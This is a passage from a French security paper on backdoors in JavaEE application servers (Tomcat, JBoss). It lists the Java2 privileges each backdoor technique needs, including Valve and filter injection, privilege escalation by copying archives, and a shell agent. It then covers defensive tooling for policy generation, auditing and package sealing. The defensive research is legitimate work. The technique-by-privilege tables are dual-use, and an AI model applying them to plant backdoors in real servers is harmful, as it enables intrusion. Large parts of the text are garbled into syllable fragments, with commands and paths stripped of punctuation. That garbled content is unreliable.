hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
